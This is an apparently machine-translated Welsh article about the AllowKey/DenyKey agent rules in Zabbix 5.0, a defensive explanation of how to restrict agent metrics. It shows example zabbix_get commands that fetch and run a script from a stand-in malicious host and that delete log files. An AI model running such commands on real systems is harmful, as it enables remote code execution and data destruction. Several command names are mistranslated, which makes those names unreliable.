Cefnogaeth rhestr ddu a rhestr wen ar gyfer metrigau ochr asiant yn Zabbix 5.0

Cefnogaeth rhestr ddu a rhestr wen ar gyfer metrigau ochr asiant yn Zabbix 5.0

Cefnogaeth rhestr ddu a rhestr wen ar gyfer metrigau ochr asiant

Tikhon Uskov, Peiriannydd Integreiddio, Zabbix

Materion diogelwch data

Mae gan Zabbix 5.0 nodwedd newydd sy'n eich galluogi i wella diogelwch mewn systemau gan ddefnyddio Asiant Zabbix ac yn disodli'r hen baramedr GalluogiRemoteCommands.

Mae gwelliannau yn niogelwch systemau sy'n seiliedig ar asiant yn deillio o'r ffaith y gall asiant gyflawni nifer fawr o gamau a allai fod yn beryglus.

  • Gall yr asiant gasglu bron unrhyw wybodaeth, gan gynnwys gwybodaeth gyfrinachol neu a allai fod yn beryglus, o ffeiliau ffurfweddu, ffeiliau log, ffeiliau cyfrinair, neu unrhyw ffeiliau eraill.

Er enghraifft, gan ddefnyddio'r cyfleustodau zabbix_get gallwch gael mynediad at restr o ddefnyddwyr, eu cyfeiriaduron cartref, ffeiliau cyfrinair, ac ati.

Cefnogaeth rhestr ddu a rhestr wen ar gyfer metrigau ochr asiant yn Zabbix 5.0

Cyrchu data gan ddefnyddio'r cyfleustodau zabbix_get

SYLWCH. Dim ond os yw'r asiant wedi darllen caniatâd yn y ffeil gyfatebol y gellir adfer data. Ond, er enghraifft, y ffeil /etc/passwd/ darllenadwy gan bob defnyddiwr.

  • Gall yr asiant hefyd weithredu gorchmynion a allai fod yn beryglus. Er enghraifft, allwedd *rhedeg.system[Mae ]** yn caniatáu ichi weithredu unrhyw orchmynion anghysbell ar nodau rhwydwaith, gan gynnwys rhedeg sgriptiau o ryngwyneb gwe Zabbix sydd hefyd yn gweithredu gorchmynion ar ochr yr asiant.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Ar Linux, mae'r asiant yn rhedeg yn ddiofyn heb freintiau gwraidd, tra ar Windows mae'n rhedeg fel gwasanaeth fel System ac mae ganddo fynediad anghyfyngedig i'r system ffeiliau. Yn unol â hynny, os na wneir unrhyw newidiadau i baramedrau Asiant Zabbix ar ôl eu gosod, mae gan yr asiant fynediad i'r gofrestrfa, y system ffeiliau a gall weithredu ymholiadau WMI.

Mewn fersiynau cynharach y paramedr EnableRemoteCommands=0 caniateir analluogi metrigau gyda'r allwedd yn unig *rhedeg.system[]** a rhedeg sgriptiau o'r rhyngwyneb gwe, ond nid oedd unrhyw ffordd i gyfyngu mynediad i ffeiliau unigol, caniatáu neu analluogi allweddi unigol a osodwyd gyda'r asiant, neu gyfyngu ar y defnydd o baramedrau unigol.

Cefnogaeth rhestr ddu a rhestr wen ar gyfer metrigau ochr asiant yn Zabbix 5.0

Defnyddio'r paramedr EnableRemoteCommand mewn fersiynau cynharach o Zabbix

AllowKey/DenyKey

Mae Zabbix 5.0 yn helpu i amddiffyn rhag mynediad anawdurdodedig o'r fath trwy ddarparu rhestrau gwyn a rhestrau gwahardd ar gyfer caniatáu a gwadu metrigau ar ochr yr asiant.

Yn Zabbix 5.0 mae pob allwedd, gan gynnwys *rhedeg.system[]** wedi'u galluogi, ac mae dau opsiwn cyfluniad asiant newydd wedi'u hychwanegu:

Caniatáu Allwedd = — gwiriadau a ganiateir;

Gwadu= — gwiriadau gwaharddedig;

lle mae patrwm enw allweddol gyda pharamedrau sy'n defnyddio meta-gymeriadau (*).

Mae'r allweddi AllowKey a DenyKey yn caniatáu ichi ganiatáu neu wadu metrigau unigol yn seiliedig ar batrwm penodol. Yn wahanol i baramedrau cyfluniad eraill, nid yw nifer y paramedrau AllowKey/DenyKey yn gyfyngedig. Mae hyn yn caniatáu ichi ddiffinio'n glir beth yn union y gall yr asiant ei wneud yn y system trwy greu coeden o wiriadau - allweddi gweithredadwy, lle mae'r drefn y cânt eu hysgrifennu yn chwarae rhan bwysig iawn.

Dilyniant rheolau

Mae'r rheolau yn cael eu gwirio yn y drefn y maent yn cael eu rhoi yn y ffeil ffurfweddu. Mae'r allwedd yn cael ei wirio yn ôl y rheolau cyn y gêm gyntaf, a chyn gynted ag y bydd allwedd yr elfen ddata yn cyd-fynd â'r patrwm, caiff ei ganiatáu neu ei wrthod. Ar ôl hyn, mae gwirio rheol yn stopio ac mae'r allweddi sy'n weddill yn cael eu hanwybyddu.

Felly, os yw elfen yn cyd-fynd â rheol caniatáu a gwrthod, bydd y canlyniad yn dibynnu ar ba reol sydd gyntaf yn y ffeil ffurfweddu.

Cefnogaeth rhestr ddu a rhestr wen ar gyfer metrigau ochr asiant yn Zabbix 5.0

2 reol wahanol gyda'r un patrwm ac allwedd vfs.file.size[/tmp/file]

Trefn defnyddio'r bysellau AllowKey/DenyKey:

  1. rheolau union,
  2. rheolau cyffredinol,
  3. rheol waharddol.

Er enghraifft, os oes angen mynediad at ffeiliau mewn ffolder penodol, rhaid i chi ganiatáu mynediad iddynt yn gyntaf, ac yna gwadu popeth arall nad yw'n dod o fewn y caniatâd sefydledig. Os defnyddir y rheol gwadu yn gyntaf, gwrthodir mynediad i'r ffolder.

Cefnogaeth rhestr ddu a rhestr wen ar gyfer metrigau ochr asiant yn Zabbix 5.0

Dilyniant cywir

Os oes angen i chi ganiatáu 2 gyfleustodau i redeg trwy *rhedeg.system[]**, a bydd y rheol gwadu yn cael ei nodi yn gyntaf, ni fydd y cyfleustodau'n cael eu lansio, oherwydd bydd y patrwm cyntaf bob amser yn cyd-fynd ag unrhyw allwedd, a bydd rheolau dilynol yn cael eu hanwybyddu.

Cefnogaeth rhestr ddu a rhestr wen ar gyfer metrigau ochr asiant yn Zabbix 5.0

Dilyniant anghywir

Patrymau

Rheolau sylfaenol

Mae patrwm yn fynegiant gyda wildcards. Mae'r metacharacter (*) yn cyfateb i unrhyw nifer o unrhyw nodau mewn safle penodol. Gellir defnyddio metacharacters yn yr enw allweddol ac mewn paramedrau. Er enghraifft, gallwch ddiffinio'r paramedr cyntaf yn llym gyda thestun, a nodwch yr un dilynol fel cerdyn gwyllt.

Rhaid amgáu paramedrau mewn cromfachau sgwâr [].

  • system.run[* - anghywir
  • vfs.file*.txt] - anghywir
  • vfs.file.*[*] - iawn

Enghreifftiau o ddefnyddio wildcard.

  1. Yn yr enw allweddol ac yn y paramedr. Yn yr achos hwn, nid yw'r allwedd yn cyfateb i allwedd debyg nad yw'n cynnwys paramedr, oherwydd yn y patrwm fe wnaethom nodi ein bod am dderbyn diweddglo penodol o'r enw allwedd a set benodol o baramedrau.
  2. Os nad yw'r patrwm yn defnyddio cromfachau sgwâr, mae'r patrwm yn caniatáu pob allwedd nad yw'n cynnwys paramedrau ac yn gwadu'r holl allweddi sy'n cynnwys y paramedr penodedig.
  3. Os yw'r allwedd wedi'i hysgrifennu'n llawn a bod y paramedrau wedi'u nodi fel cerdyn chwilio, bydd yn cyfateb unrhyw allwedd debyg ag unrhyw baramedrau ac ni fydd yn cyfateb i'r allwedd heb gromfachau sgwâr, h.y. bydd yn cael ei chaniatáu neu ei gwadu.

Cefnogaeth rhestr ddu a rhestr wen ar gyfer metrigau ochr asiant yn Zabbix 5.0

Rheolau ar gyfer llenwi paramedrau.

  • Os bwriedir defnyddio allwedd gyda pharamedrau, rhaid nodi'r paramedrau yn y ffeil ffurfweddu. Rhaid nodi paramedrau fel meta-gymeriad. Mae angen gwadu mynediad i unrhyw ffeil yn ofalus ac ystyried pa wybodaeth y gall y metrig ei darparu o dan wahanol sillafu - gyda pharamedrau a hebddynt.

Cefnogaeth rhestr ddu a rhestr wen ar gyfer metrigau ochr asiant yn Zabbix 5.0

Nodweddion ysgrifennu allweddi gyda pharamedrau

  • Os yw allwedd wedi'i nodi gyda pharamedrau, ond mae'r paramedrau'n ddewisol ac wedi'u nodi fel meta-gymeriad, bydd allwedd heb baramedrau yn cael ei datrys. Er enghraifft, os ydych chi am analluogi derbyn gwybodaeth am y llwyth ar y CPU a nodi y dylid analluogi'r allwedd system.cpu.load[*], peidiwch ag anghofio y bydd yr allwedd heb baramedrau yn dychwelyd y gwerth llwyth cyfartalog.

Cefnogaeth rhestr ddu a rhestr wen ar gyfer metrigau ochr asiant yn Zabbix 5.0

Rheolau ar gyfer llenwi paramedrau

Nodiadau

addasiad

  • Ni all y defnyddiwr newid rhai rheolau, er enghraifft, rheolau darganfod neu reolau auto-gofrestru asiant. Nid yw rheolau AllowKey/DenyKey yn effeithio ar y paramedrau canlynol:
    - Enw gwesteiwrItem
    - HostMetadataItem
    - HostInterfaceItem

SYLWCH. Os yw gweinyddwr yn analluogi allwedd, pan ofynnir iddo, nid yw Zabbix yn darparu gwybodaeth pam fod y metrig neu'r allwedd yn perthyn i'r categori 'HEFYD'. Nid yw gwybodaeth am waharddiadau ar weithredu gorchmynion o bell hefyd yn cael ei harddangos yn ffeiliau log yr asiant. Mae hyn am resymau diogelwch, ond gall gymhlethu dadfygio os yw metrigau'n perthyn i gategori nad yw'n cael ei gefnogi am ryw reswm.

  • Ni ddylech ddibynnu ar unrhyw drefn benodol ar gyfer cysylltu ffeiliau cyfluniad allanol (er enghraifft, yn nhrefn yr wyddor).

Cyfleustodau Llinell Reoli

Ar ôl sefydlu'r rheolau, mae angen i chi sicrhau bod popeth wedi'i ffurfweddu'n gywir.

Gallwch ddefnyddio un o dri opsiwn:

  • Ychwanegu metrig i Zabbix.
  • Prawf gyda zabbix_asiant. Asiant Zabbix gydag opsiwn -argraffu (-p) yn dangos yr holl allweddi (a ganiateir yn ddiofyn) ac eithrio'r rhai na chaniateir gan y ffurfweddiad. A chyda'r opsiwn -prawf (-t) oherwydd bydd allwedd waharddedig yn dychwelyd'Allwedd eitem na chefnogir'.
  • Prawf gyda zabbix_cael. Cyfleustodau zabbix_cael ag opsiwn -k bydd yn dychwelyd 'ZBX_NOTSUPPORTED: Metrig anhysbys'.

Caniatáu neu wadu

Gallwch wrthod mynediad i ffeil a gwirio, er enghraifft, gan ddefnyddio'r cyfleustodau zabbix_caelbod mynediad i'r ffeil yn cael ei wrthod.

Cefnogaeth rhestr ddu a rhestr wen ar gyfer metrigau ochr asiant yn Zabbix 5.0

**

SYLWCH. Mae dyfyniadau yn y paramedr yn cael eu hanwybyddu.

Yn yr achos hwn, gellir caniatáu mynediad i ffeil o'r fath trwy lwybr gwahanol. Er enghraifft, os yw symlink yn arwain ato.

Cefnogaeth rhestr ddu a rhestr wen ar gyfer metrigau ochr asiant yn Zabbix 5.0

Argymhellir gwirio amrywiol opsiynau ar gyfer cymhwyso'r rheolau penodedig, a hefyd ystyried y posibiliadau o osgoi'r gwaharddiadau.

Cwestiynau ac Atebion

Cwestiwn. Pam y dewiswyd patrwm mor gymhleth gyda’i iaith ei hun i ddisgrifio rheolau, caniatadau a gwaharddiadau? Pam nad oedd yn bosibl defnyddio, er enghraifft, yr ymadroddion rheolaidd y mae Zabbix yn eu defnyddio?

Ateb. Mae hwn yn fater perfformiad regex gan mai dim ond un asiant sydd fel arfer ac mae'n gwirio nifer enfawr o fetrigau. Mae Regex yn weithrediad eithaf trwm ac ni allwn wirio miloedd o fetrigau fel hyn. Cardiau gwyllt - ateb cyffredinol, syml a ddefnyddir yn eang.

Cwestiwn. Onid yw'r ffeiliau Cynnwys wedi'u cynnwys yn nhrefn yr wyddor?

Ateb. Hyd y gwn i, mae bron yn amhosibl rhagweld ym mha drefn y bydd rheolau'n cael eu gweithredu os ydych chi'n lledaenu'r rheolau ar draws gwahanol ffeiliau. Rwy'n argymell casglu holl reolau AllowKey/DenyKey mewn un ffeil Cynnwys, oherwydd eu bod yn rhyngweithio â'i gilydd, ac yn cynnwys y ffeil hon.

Cwestiwn. Yn Zabbix 5.0 yr opsiwn 'EnableRemoteCommands=' ar goll o'r ffeil ffurfweddu, a dim ond AllowKey/DenyKey sydd ar gael?

Ateb. ydy Mae hynny'n gywir.

Diolch am eich sylw!

Ffynhonnell: hab.com

Ychwanegu sylw